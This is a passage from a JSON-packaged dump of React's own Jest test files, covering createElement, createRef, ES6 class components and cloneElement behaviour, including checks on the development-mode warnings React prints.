key: 12,\n      foo: '56',\n    });\n    expect(element.type).toBe(ComponentClass);\n    expect(element.key).toBe('12');\n    expect(element.ref).toBe(null);\n    if (__DEV__) {\n      expect(Object.isFrozen(element)).toBe(true);\n      expect(Object.isFrozen(element.props)).toBe(true);\n    }\n    expect(element.props).toEqual({foo: '56'});\n  });\n\n  it('preserves the owner on the element', async () => {\n    let element;\n    let instance;\n\n    class Wrapper extends React.Component {\n      componentDidMount() {\n        instance = this;\n      }\n      render() {\n        element = React.createElement(ComponentClass);\n        return element;\n      }\n    }\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => root.render(React.createElement(Wrapper)));\n    if (__DEV__) {\n      expect(element._owner.stateNode).toBe(instance);\n    } else {\n      expect('_owner' in element).toBe(false);\n    }\n  });\n\n  it('merges an additional argument onto the children prop', () => {\n    const a = 1;\n    const element = React.createElement(\n      ComponentClass,\n      {\n        children: 'text',\n      },\n      a,\n    );\n    expect(element.props.children).toBe(a);\n  });\n\n  it('does not override children if no rest args are provided', () => {\n    const element = React.createElement(ComponentClass, {\n      children: 'text',\n    });\n    expect(element.props.children).toBe('text');\n  });\n\n  it('overrides children if null is provided as an argument', () => {\n    const element = React.createElement(\n      ComponentClass,\n      {\n        children: 'text',\n      },\n      null,\n    );\n    expect(element.props.children).toBe(null);\n  });\n\n  it('merges rest arguments onto the children prop in an array', () => {\n    const a = 1;\n    const b = 2;\n    const c = 3;\n    const element = React.createElement(ComponentClass, null, a, b, c);\n    expect(element.props.children).toEqual([1, 2, 3]);\n  });\n\n  it('allows static methods to be called using the type property', () => {\n    class StaticMethodComponentClass extends React.Component {\n      render() {\n        return React.createElement('div');\n      }\n    }\n    StaticMethodComponentClass.someStaticMethod = () => 'someReturnValue';\n\n    const element = React.createElement(StaticMethodComponentClass);\n    expect(element.type.someStaticMethod()).toBe('someReturnValue');\n  });\n\n  it('is indistinguishable from a plain object', () => {\n    const element = React.createElement('div', {className: 'foo'});\n    const object = {};\n    expect(element.constructor).toBe(object.constructor);\n  });\n\n  it('should use default prop value when removing a prop', async () => {\n    class Component extends React.Component {\n      render() {\n        return React.createElement('span');\n      }\n    }\n    Component.defaultProps = {fruit: 'persimmon'};\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    const ref = React.createRef();\n    await act(() => {\n      root.render(React.createElement(Component, {ref, fruit: 'mango'}));\n    });\n    const instance = ref.current;\n    expect(instance.props.fruit).toBe('mango');\n\n    await act(() => {\n      root.render(React.createElement(Component));\n    });\n    expect(instance.props.fruit).toBe('persimmon');\n  });\n\n  it('should normalize props with default values', async () => {\n    let instance;\n    class Component extends React.Component {\n      componentDidMount() {\n        instance = this;\n      }\n      render() {\n        return React.createElement('span', null, this.props.prop);\n      }\n    }\n    Component.defaultProps = {prop: 'testKey'};\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(React.createElement(Component));\n    });\n    expect(instance.props.prop).toBe('testKey');\n\n    await act(() => {\n      root.render(React.createElement(Component, {prop: null}));\n    });\n    expect(instance.props.prop).toBe(null);\n  });\n\n  it('throws when changing a prop (in dev) after element creation', async () => {\n    class Outer extends React.Component {\n      render() {\n        const el = React.createElement('div', {className: 'moo'});\n\n        if (__DEV__) {\n          expect(function () {\n            el.props.className = 'quack';\n          }).toThrow();\n          expect(el.props.className).toBe('moo');\n        } else {\n          el.props.className = 'quack';\n          expect(el.props.className).toBe('quack');\n        }\n\n        return el;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(React.createElement(Outer, {color: 'orange'}));\n    });\n    if (__DEV__) {\n      expect(container.firstChild.className).toBe('moo');\n    } else {\n      expect(container.firstChild.className).toBe('quack');\n    }\n  });\n\n  it('throws when adding a prop (in dev) after element creation', async () => {\n    const container = document.createElement('div');\n    class Outer extends React.Component {\n      render() {\n        const el = React.createElement('div', null, this.props.sound);\n\n        if (__DEV__) {\n          expect(function () {\n            el.props.className = 'quack';\n          }).toThrow();\n          expect(el.props.className).toBe(undefined);\n        } else {\n          el.props.className = 'quack';\n          expect(el.props.className).toBe('quack');\n        }\n\n        return el;\n      }\n    }\n    Outer.defaultProps = {sound: 'meow'};\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(React.createElement(Outer));\n    });\n    expect(container.firstChild.textContent).toBe('meow');\n    if (__DEV__) {\n      expect(container.firstChild.className).toBe('');\n    } else {\n      expect(container.firstChild.className).toBe('quack');\n    }\n  });\n\n  it('does not warn for NaN props', async () => {\n    let test;\n    class Test extends React.Component {\n      componentDidMount() {\n        test = this;\n      }\n      render() {\n        return React.createElement('div');\n      }\n    }\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(React.createElement(Test, {value: +undefined}));\n    });\n    expect(test.props.value).toBeNaN();\n  });\n\n  it('warns if outdated JSX transform is detected', async () => {\n    // Warns if __self is detected, because that's only passed by a compiler\n    React.createElement('div', {className: 'foo', __self: this});\n    assertConsoleWarnDev([\n      'Your app (or one of its dependencies) is using an outdated JSX ' +\n        'transform. Update to the modern JSX transform for ' +\n        'faster performance: https://react.dev/link/new-jsx-transform',\n    ]);\n\n    // Only warns the first time. Subsequent elements don't warn.\n    React.createElement('div', {className: 'foo', __self: this});\n  });\n\n  it('do not warn about outdated JSX transform if `key` is present', () => {\n    // When a static \"key\" prop is defined _after_ a spread, the modern JSX\n    // transform outputs `createElement` instead of `jsx`. (This is because with\n    // `jsx`, a spread key always takes precedence over a static key, regardless\n    // of the order, whereas `createElement` respects the order.)\n    //\n    // To avoid a false positive warning, we skip the warning whenever a `key`\n    // prop is present.\n    React.createElement('div', {key: 'foo', __self: this});\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactCreateRef-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet assertConsoleErrorDev;\n\ndescribe('ReactCreateRef', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ({assertConsoleErrorDev} = require('internal-test-utils'));\n  });\n\n  it('should warn in dev if an invalid ref object is provided', () => {\n    function Wrapper({children}) {\n      return children;\n    }\n\n    class ExampleComponent extends React.Component {\n      render() {\n        return null;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    ReactDOM.flushSync(() => {\n      root.render(\n        <Wrapper>\n          <div ref={{}} />\n        </Wrapper>,\n      );\n    });\n    assertConsoleErrorDev([\n      'Unexpected ref object provided for div. ' +\n        'Use either a ref-setter function or React.createRef().\\n' +\n        '    in div (at **)',\n    ]);\n\n    ReactDOM.flushSync(() => {\n      root.render(\n        <Wrapper>\n          <ExampleComponent ref={{}} />\n        </Wrapper>,\n      );\n    });\n    assertConsoleErrorDev([\n      'Unexpected ref object provided for ExampleComponent. ' +\n        'Use either a ref-setter function or React.createRef().\\n' +\n        '    in ExampleComponent (at **)',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactES6Class-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet PropTypes;\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet assertConsoleErrorDev;\nlet assertConsoleWarnDev;\n\ndescribe('ReactES6Class', () => {\n  let container;\n  let root;\n  const freeze = function (expectation) {\n    Object.freeze(expectation);\n    return expectation;\n  };\n  let Inner;\n  let attachedListener = null;\n  let renderedName = null;\n\n  beforeEach(() => {\n    PropTypes = require('prop-types');\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ({\n      assertConsoleErrorDev,\n      assertConsoleWarnDev,\n    } = require('internal-test-utils'));\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    attachedListener = null;\n    renderedName = null;\n    Inner = class extends React.Component {\n      getName() {\n        return this.props.name;\n      }\n      render() {\n        attachedListener = this.props.onClick;\n        renderedName = this.props.name;\n        return <div className={this.props.name} />;\n      }\n    };\n  });\n\n  function runTest(element, expectedTag, expectedClassName) {\n    ReactDOM.flushSync(() => root.render(element));\n    expect(container.firstChild).not.toBeNull();\n    expect(container.firstChild.tagName).toBe(expectedTag);\n    expect(container.firstChild.className).toBe(expectedClassName);\n  }\n\n  it('preserves the name of the class for use in error messages', () => {\n    class Foo extends React.Component {}\n    expect(Foo.name).toBe('Foo');\n  });\n\n  it('throws if no render function is defined', () => {\n    class Foo extends React.Component {}\n    const caughtErrors = [];\n    function errorHandler(event) {\n      event.preventDefault();\n      caughtErrors.push(event.error);\n    }\n    window.addEventListener('error', errorHandler);\n    try {\n      ReactDOM.flushSync(() => root.render(<Foo />));\n      assertConsoleErrorDev([\n        // A failed component renders twice in DEV in concurrent mode\n        'No `render` method found on the Foo instance: ' +\n          'you may have forgotten to define `render`.\\n' +\n          '    in Foo (at **)',\n        'No `render` method found on the Foo instance: ' +\n          'you may have forgotten to define `render`.\\n' +\n          '    in Foo (at **)',\n      ]);\n    } finally {\n      window.removeEventListener('error', errorHandler);\n    }\n    expect(caughtErrors).toEqual([\n      expect.objectContaining({\n        message: expect.stringContaining('is not a function'),\n      }),\n    ]);\n  });\n\n  it('renders a simple stateless component with prop', () => {\n    class Foo extends React.Component {\n      render() {\n        return <Inner name={this.props.bar} />;\n      }\n    }\n    runTest(<Foo bar=\"foo\" />, 'DIV', 'foo');\n    runTest(<Foo bar=\"bar\" />, 'DIV', 'bar');\n  });\n\n  it('renders based on state using initial values in this.props', () => {\n    class Foo extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {bar: this.props.initialValue};\n      }\n      render() {\n        return <span className={this.state.bar} />;\n      }\n    }\n    runTest(<Foo initialValue=\"foo\" />, 'SPAN', 'foo');\n  });\n\n  it('renders based on state using props in the constructor', () => {\n    class Foo extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {bar: props.initialValue};\n      }\n      changeState() {\n        this.setState({bar: 'bar'});\n      }\n      render() {\n        if (this.state.bar === 'foo') {\n          return <div className=\"foo\" />;\n        }\n        return <span className={this.state.bar} />;\n      }\n    }\n    const ref = React.createRef();\n    runTest(<Foo initialValue=\"foo\" ref={ref} />, 'DIV', 'foo');\n    ReactDOM.flushSync(() => ref.current.changeState());\n    runTest(<Foo />, 'SPAN', 'bar');\n  });\n\n  it('sets initial state with value returned by static getDerivedStateFromProps', () => {\n    class Foo extends React.Component {\n      state = {};\n      static getDerivedStateFromProps(nextProps, prevState) {\n        return {\n          foo: nextProps.foo,\n          bar: 'bar',\n        };\n      }\n      render() {\n        return <div className={`${this.state.foo} ${this.state.bar}`} />;\n      }\n    }\n    runTest(<Foo foo=\"foo\" />, 'DIV', 'foo bar');\n  });\n\n  it('warns if getDerivedStateFromProps is not static', () => {\n    class Foo extends React.Component {\n      getDerivedStateFromProps() {\n        return {};\n      }\n      render() {\n        return <div />;\n      }\n    }\n    ReactDOM.flushSync(() => root.render(<Foo foo=\"foo\" />));\n    assertConsoleErrorDev([\n      'Foo: getDerivedStateFromProps() is defined as an instance method ' +\n        'and will be ignored. Instead, declare it as a static method.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('warns if getDerivedStateFromError is not static', () => {\n    class Foo extends React.Component {\n      getDerivedStateFromError() {\n        return {};\n      }\n      render() {\n        return <div />;\n      }\n    }\n    ReactDOM.flushSync(() => root.render(<Foo foo=\"foo\" />));\n    assertConsoleErrorDev([\n      'Foo: getDerivedStateFromError() is defined as an instance method ' +\n        'and will be ignored. Instead, declare it as a static method.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('warns if getSnapshotBeforeUpdate is static', () => {\n    class Foo extends React.Component {\n      static getSnapshotBeforeUpdate() {}\n      render() {\n        return <div />;\n      }\n    }\n    ReactDOM.flushSync(() => root.render(<Foo foo=\"foo\" />));\n    assertConsoleErrorDev([\n      'Foo: getSnapshotBeforeUpdate() is defined as a static method ' +\n        'and will be ignored. Instead, declare it as an instance method.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('warns if state not initialized before static getDerivedStateFromProps', () => {\n    class Foo extends React.Component {\n      static getDerivedStateFromProps(nextProps, prevState) {\n        return {\n          foo: nextProps.foo,\n          bar: 'bar',\n        };\n      }\n      render() {\n        return <div className={`${this.state.foo} ${this.state.bar}`} />;\n      }\n    }\n    ReactDOM.flushSync(() => root.render(<Foo foo=\"foo\" />));\n    assertConsoleErrorDev([\n      '`Foo` uses `getDerivedStateFromProps` but its initial state is ' +\n        'undefined. This is not recommended. Instead, define the initial state by ' +\n        'assigning an object to `this.state` in the constructor of `Foo`. ' +\n        'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('updates initial state with values returned by static getDerivedStateFromProps', () => {\n    class Foo extends React.Component {\n      state = {\n        foo: 'foo',\n        bar: 'bar',\n      };\n      static getDerivedStateFromProps(nextProps, prevState) {\n        return {\n          foo: `not-${prevState.foo}`,\n        };\n      }\n      render() {\n        return <div className={`${this.state.foo} ${this.state.bar}`} />;\n      }\n    }\n    runTest(<Foo />, 'DIV', 'not-foo bar');\n  });\n\n  it('renders updated state with values returned by static getDerivedStateFromProps', () => {\n    class Foo extends React.Component {\n      state = {\n        value: 'initial',\n      };\n      static getDerivedStateFromProps(nextProps, prevState) {\n        if (nextProps.update) {\n          return {\n            value: 'updated',\n          };\n        }\n        return null;\n      }\n      render() {\n        return <div className={this.state.value} />;\n      }\n    }\n    runTest(<Foo update={false} />, 'DIV', 'initial');\n    runTest(<Foo update={true} />, 'DIV', 'updated');\n  });\n\n  if (!require('shared/ReactFeatureFlags').disableLegacyContext) {\n    it('renders based on context in the constructor', () => {\n      class Foo extends React.Component {\n        constructor(props, context) {\n          super(props, context);\n          this.state = {tag: context.tag, className: this.context.className};\n        }\n\n        render() {\n          const Tag = this.state.tag;\n          return <Tag className={this.state.className} />;\n        }\n      }\n\n      Foo.contextTypes = {\n        tag: PropTypes.string,\n        className: PropTypes.string,\n      };\n\n      class Outer extends React.Component {\n        getChildContext() {\n          return {tag: 'span', className: 'foo'};\n        }\n\n        render() {\n          return <Foo />;\n        }\n      }\n\n      Outer.childContextTypes = {\n        tag: PropTypes.string,\n        className: PropTypes.string,\n      };\n      runTest(<Outer />, 'SPAN', 'foo');\n\n      assertConsoleErrorDev([\n        'Outer uses the legacy childContextTypes API which will soon be removed. ' +\n          'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n          '    in Outer (at **)',\n        'Foo uses the legacy contextTypes API which will soon be removed. ' +\n          'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n          '    in Outer (at **)',\n      ]);\n    });\n  }\n\n  it('renders only once when setting state in componentWillMount', () => {\n    let renderCount = 0;\n    class Foo extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {bar: props.initialValue};\n      }\n      UNSAFE_componentWillMount() {\n        this.setState({bar: 'bar'});\n      }\n      render() {\n        renderCount++;\n        return <span className={this.state.bar} />;\n      }\n    }\n    runTest(<Foo initialValue=\"foo\" />, 'SPAN', 'bar');\n    expect(renderCount).toBe(1);\n  });\n\n  it('should warn with non-object in the initial state property', () => {\n    [['an array'], 'a string', 1234].forEach(function (state) {\n      class Foo extends React.Component {\n        constructor() {\n          super();\n          this.state = state;\n        }\n        render() {\n          return <span />;\n        }\n      }\n      runTest(<Foo />, 'SPAN', '');\n      assertConsoleErrorDev([\n        'Foo.state: must be set to an object or null\\n    in Foo (at **)',\n      ]);\n    });\n  });\n\n  it('should render with null in the initial state property', () => {\n    class Foo extends React.Component {\n      constructor() {\n        super();\n        this.state = null;\n      }\n      render() {\n        return <span />;\n      }\n    }\n    runTest(<Foo />, 'SPAN', '');\n  });\n\n  it('setState through an event handler', () => {\n    class Foo extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {bar: props.initialValue};\n      }\n      handleClick() {\n        this.setState({bar: 'bar'});\n      }\n      render() {\n        return (\n          <Inner name={this.state.bar} onClick={this.handleClick.bind(this)} />\n        );\n      }\n    }\n    runTest(<Foo initialValue=\"foo\" />, 'DIV', 'foo');\n\n    ReactDOM.flushSync(() => attachedListener());\n    expect(renderedName).toBe('bar');\n  });\n\n  it('should not implicitly bind event handlers', () => {\n    class Foo extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {bar: props.initialValue};\n      }\n      handleClick() {\n        this.setState({bar: 'bar'});\n      }\n      render() {\n        return <Inner name={this.state.bar} onClick={this.handleClick} />;\n      }\n    }\n    runTest(<Foo initialValue=\"foo\" />, 'DIV', 'foo');\n    expect(attachedListener).toThrow();\n  });\n\n  it('renders using forceUpdate even when there is no state', () => {\n    class Foo extends React.Component {\n      constructor(props) {\n        super(props);\n        this.mutativeValue = props.initialValue;\n      }\n      handleClick() {\n        this.mutativeValue = 'bar';\n        this.forceUpdate();\n      }\n      render() {\n        return (\n          <Inner\n            name={this.mutativeValue}\n            onClick={this.handleClick.bind(this)}\n          />\n        );\n      }\n    }\n    runTest(<Foo initialValue=\"foo\" />, 'DIV', 'foo');\n    ReactDOM.flushSync(() => attachedListener());\n    expect(renderedName).toBe('bar');\n  });\n\n  it('will call all the normal life cycle methods', () => {\n    let lifeCycles = [];\n    class Foo extends React.Component {\n      constructor() {\n        super();\n        this.state = {};\n      }\n      UNSAFE_componentWillMount() {\n        lifeCycles.push('will-mount');\n      }\n      componentDidMount() {\n        lifeCycles.push('did-mount');\n      }\n      UNSAFE_componentWillReceiveProps(nextProps) {\n        lifeCycles.push('receive-props', nextProps);\n      }\n      shouldComponentUpdate(nextProps, nextState) {\n        lifeCycles.push('should-update', nextProps, nextState);\n        return true;\n      }\n      UNSAFE_componentWillUpdate(nextProps, nextState) {\n        lifeCycles.push('will-update', nextProps, nextState);\n      }\n      componentDidUpdate(prevProps, prevState) {\n        lifeCycles.push('did-update', prevProps, prevState);\n      }\n      componentWillUnmount() {\n        lifeCycles.push('will-unmount');\n      }\n      render() {\n        return <span className={this.props.value} />;\n      }\n    }\n    runTest(<Foo value=\"foo\" />, 'SPAN', 'foo');\n    expect(lifeCycles).toEqual(['will-mount', 'did-mount']);\n    lifeCycles = []; // reset\n    runTest(<Foo value=\"bar\" />, 'SPAN', 'bar');\n    // prettier-ignore\n    expect(lifeCycles).toEqual([\n      'receive-props', freeze({value: 'bar'}),\n      'should-update', freeze({value: 'bar'}), {},\n      'will-update', freeze({value: 'bar'}), {},\n      'did-update', freeze({value: 'foo'}), {},\n    ]);\n    lifeCycles = []; // reset\n    ReactDOM.flushSync(() => root.unmount());\n    expect(lifeCycles).toEqual(['will-unmount']);\n  });\n\n  if (!require('shared/ReactFeatureFlags').disableLegacyContext) {\n    it('warns when classic properties are defined on the instance, but does not invoke them.', () => {\n      let getDefaultPropsWasCalled = false;\n      let getInitialStateWasCalled = false;\n      class Foo extends React.Component {\n        constructor() {\n          super();\n          this.contextTypes = {};\n          this.contextType = {};\n        }\n        getInitialState() {\n          getInitialStateWasCalled = true;\n          return {};\n        }\n        getDefaultProps() {\n          getDefaultPropsWasCalled = true;\n          return {};\n        }\n        render() {\n          return <span className=\"foo\" />;\n        }\n      }\n\n      runTest(<Foo />, 'SPAN', 'foo');\n      assertConsoleErrorDev([\n        'getInitialState was defined on Foo, a plain JavaScript class. ' +\n          'This is only supported for classes created using React.createClass. ' +\n          'Did you mean to define a state property instead?\\n' +\n          '    in Foo (at **)',\n        'getDefaultProps was defined on Foo, a plain JavaScript class. ' +\n          'This is only supported for classes created using React.createClass. ' +\n          'Use a static property to define defaultProps instead.\\n' +\n          '    in Foo (at **)',\n        'contextType was defined as an instance property on Foo. ' +\n          'Use a static property to define contextType instead.\\n' +\n          '    in Foo (at **)',\n        'contextTypes was defined as an instance property on Foo. ' +\n          'Use a static property to define contextTypes instead.\\n' +\n          '    in Foo (at **)',\n      ]);\n      expect(getInitialStateWasCalled).toBe(false);\n      expect(getDefaultPropsWasCalled).toBe(false);\n    });\n  }\n\n  it('does not warn about getInitialState() on class components if state is also defined.', () => {\n    class Foo extends React.Component {\n      state = this.getInitialState();\n      getInitialState() {\n        return {};\n      }\n      render() {\n        return <span className=\"foo\" />;\n      }\n    }\n    runTest(<Foo />, 'SPAN', 'foo');\n  });\n\n  it('should warn when misspelling shouldComponentUpdate', () => {\n    class NamedComponent extends React.Component {\n      componentShouldUpdate() {\n        return false;\n      }\n      render() {\n        return <span className=\"foo\" />;\n      }\n    }\n\n    runTest(<NamedComponent />, 'SPAN', 'foo');\n    assertConsoleErrorDev([\n      'NamedComponent has a method called componentShouldUpdate(). Did you ' +\n        'mean shouldComponentUpdate()? The name is phrased as a question ' +\n        'because the function is expected to return a value.\\n' +\n        '    in NamedComponent (at **)',\n    ]);\n  });\n\n  it('should warn when misspelling componentWillReceiveProps', () => {\n    class NamedComponent extends React.Component {\n      componentWillRecieveProps() {\n        return false;\n      }\n      render() {\n        return <span className=\"foo\" />;\n      }\n    }\n\n    runTest(<NamedComponent />, 'SPAN', 'foo');\n    assertConsoleErrorDev([\n      'NamedComponent has a method called componentWillRecieveProps(). Did ' +\n        'you mean componentWillReceiveProps()?\\n' +\n        '     in NamedComponent (at **)',\n    ]);\n  });\n\n  it('should warn when misspelling UNSAFE_componentWillReceiveProps', () => {\n    class NamedComponent extends React.Component {\n      UNSAFE_componentWillRecieveProps() {\n        return false;\n      }\n      render() {\n        return <span className=\"foo\" />;\n      }\n    }\n\n    runTest(<NamedComponent />, 'SPAN', 'foo');\n    assertConsoleErrorDev([\n      'NamedComponent has a method called UNSAFE_componentWillRecieveProps(). ' +\n        'Did you mean UNSAFE_componentWillReceiveProps()?\\n' +\n        '    in NamedComponent (at **)',\n    ]);\n  });\n\n  it('should throw AND warn when trying to access classic APIs', () => {\n    const ref = React.createRef();\n    runTest(<Inner name=\"foo\" ref={ref} />, 'DIV', 'foo');\n\n    expect(() => ref.current.replaceState({})).toThrow();\n    assertConsoleWarnDev([\n      'replaceState(...) is deprecated in plain JavaScript React classes. ' +\n        'Refactor your code to use setState instead (see https://github.com/facebook/react/issues/3236).',\n    ]);\n    expect(() => ref.current.isMounted()).toThrow();\n    assertConsoleWarnDev([\n      'isMounted(...) is deprecated in plain JavaScript React classes. ' +\n        'Instead, make sure to clean up subscriptions and pending requests in ' +\n        'componentWillUnmount to prevent memory leaks.',\n    ]);\n  });\n\n  if (!require('shared/ReactFeatureFlags').disableLegacyContext) {\n    it('supports this.context passed via getChildContext', () => {\n      class Bar extends React.Component {\n        render() {\n          return <div className={this.context.bar} />;\n        }\n      }\n\n      Bar.contextTypes = {bar: PropTypes.string};\n\n      class Foo extends React.Component {\n        getChildContext() {\n          return {bar: 'bar-through-context'};\n        }\n\n        render() {\n          return <Bar />;\n        }\n      }\n\n      Foo.childContextTypes = {bar: PropTypes.string};\n      runTest(<Foo />, 'DIV', 'bar-through-context');\n      assertConsoleErrorDev([\n        'Foo uses the legacy childContextTypes API which will soon be removed. ' +\n          'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n          '    in Foo (at **)',\n        'Bar uses the legacy contextTypes API which will soon be removed. ' +\n          'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n          '    in Foo (at **)',\n      ]);\n    });\n  }\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactElementClone-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet act;\nlet React;\nlet ReactDOMClient;\nlet assertConsoleErrorDev;\n\ndescribe('ReactElementClone', () => {\n  let ComponentClass;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n\n    // NOTE: We're explicitly not using JSX here. This is intended to test\n    // classic JS without JSX.\n    ComponentClass = class extends React.Component {\n      render() {\n        return React.createElement('div');\n      }\n    };\n  });\n\n  it('should clone a DOM component with new props', async () => {\n    let div;\n    class Grandparent extends React.Component {\n      render() {\n        return (\n          <Parent\n            child={<div ref={node => (div = node)} className=\"child\" />}\n          />\n        );\n      }\n    }\n    class Parent extends React.Component {\n      render() {\n        return (\n          <div className=\"parent\">\n            {React.cloneElement(this.props.child, {className: 'xyz'})}\n          </div>\n        );\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Grandparent />);\n    });\n    expect(div.className).toBe('xyz');\n  });\n\n  it('should clone a composite component with new props', async () => {\n    let div;\n    class Child extends React.Component {\n      render() {\n        return (\n          <div ref={node => (div = node)} className={this.props.className} />\n        );\n      }\n    }\n    class Grandparent extends React.Component {\n      render() {\n        return <Parent child={<Child className=\"child\" />} />;\n      }\n    }\n    class Parent extends React.Component {\n      render() {\n        return (\n          <div className=\"parent\">\n            {React.cloneElement(this.props.child, {className: 'xyz'})}\n          </div>\n        );\n      }\n    }\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Grandparent />);\n    });\n    expect(div.className).toBe('xyz');\n  });\n\n  it('does not fail if config has no prototype', () => {\n    const config = Object.create(null, {foo: {value: 1, enumerable: true}});\n    React.cloneElement(<div />, config);\n  });\n\n  it('should keep the original ref if it is not overridden', async () => {\n    let component;\n    class Grandparent extends React.Component {\n      yoloRef = React.createRef();\n\n      componentDidMount() {\n        component = this;\n      }\n\n      render() {\n        return <Parent child={<div ref={this.yoloRef} />} />;\n      }\n    }\n\n    class Parent extends React.Component {\n      render() {\n        return (\n          <div>{React.cloneElement(this.props.child, {className: 'xyz'})}</div>\n        );\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Grandparent />);\n    });\n\n    expect(component.yoloRef.current.tagName).toBe('DIV');\n  });\n\n  it('should transfer the key property', () => {\n    class Component extends React.Component {\n      render() {\n        return null;\n      }\n    }\n    const clone = React.cloneElement(<Component />, {key: 'xyz'});\n    expect(clone.key).toBe('xyz');\n  });\n\n  it('should transfer children', async () => {\n    class Component extends React.Component {\n      render() {\n        expect(this.props.children).toBe('xyz');\n        return <div />;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(React.cloneElement(<Component />, {children: 'xyz'}));\n    });\n  });\n\n  it('should shallow clone children', async () => {\n    class Component extends React.Component {\n      render() {\n        expect(this.props.children).toBe('xyz');\n        return <div />;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(React.cloneElement(<Component>xyz</Component>, {}));\n    });\n  });\n\n  it('should accept children as rest arguments', () => {\n    class Component extends React.Component {\n      render() {\n        return null;\n      }\n    }\n\n    const clone = React.cloneElement(\n      <Component>xyz</Component>,\n      {children: <Component />},\n      <div />,\n      <span />,\n    );\n\n    expect(clone.props.children).toEqual([<div />, <span />]);\n  });\n\n  it('should override children if undefined is provided as an argument', () => {\n    const element = React.createElement(\n      ComponentClass,\n      {\n        children: 'text',\n      },\n      undefined,\n    );\n    expect(element.props.children).toBe(undefined);\n\n    const element2 = React.cloneElement(\n      React.createElement(ComponentClass, {\n        children: 'text',\n      }),\n      {},\n      undefined,\n    );\n    expect(element2.props.children).toBe(undefined);\n  });\n\n  it('should support keys and refs', async () => {\n    let component;\n    class Parent extends React.Component {\n      xyzRef = React.createRef();\n\n      render() {\n        const clone = React.cloneElement(this.props.children, {\n          key: 'xyz',\n          ref: this.xyzRef,\n        });\n        expect(clone.key).toBe('xyz');\n        expect(clone.props.ref).toBe(this.xyzRef);\n        return <div>{clone}</div>;\n      }\n    }\n\n    class Grandparent extends React.Component {\n      parentRef = React.createRef();\n\n      componentDidMount() {\n        component = this;\n      }\n\n      render() {\n        return (\n          <Parent ref={this.parentRef}>\n            <span key=\"abc\" />\n          </Parent>\n        );\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => root.render(<Grandparent />));\n    expect(component.parentRef.current.xyzRef.current.tagName).toBe('SPAN');\n  });\n\n  it('should steal the ref if a new ref is specified', async () => {\n    let component;\n    class Parent extends React.Component {\n      xyzRef = React.createRef();\n\n      render() {\n        const clone = React.cloneElement(this.props.children, {\n          ref: this.xyzRef,\n        });\n        return <div>{clone}</div>;\n      }\n    }\n\n    class Grandparent extends React.Component {\n      parentRef = React.createRef();\n      childRef = React.createRef();\n\n      componentDidMount() {\n        component = this;\n      }\n\n      render() {\n        return (\n          <Parent ref={this.parentRef}>\n            <span ref={this.childRef} />\n          </Parent>\n        );\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => root.render(<Grandparent />));\n    expect(component.childRef).toEqual({current: null});\n    expect(component.parentRef.current.xyzRef.current.tagName).toBe('SPAN');\n  });\n\n  it('should overwrite props', async () => {\n    class Component extends React.Component {\n      render() {\n        expect(this.props.myprop).toBe('xyz');\n        return <div />;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() =>\n      root.render(\n        React.cloneElement(<Component myprop=\"abc\" />, {myprop: 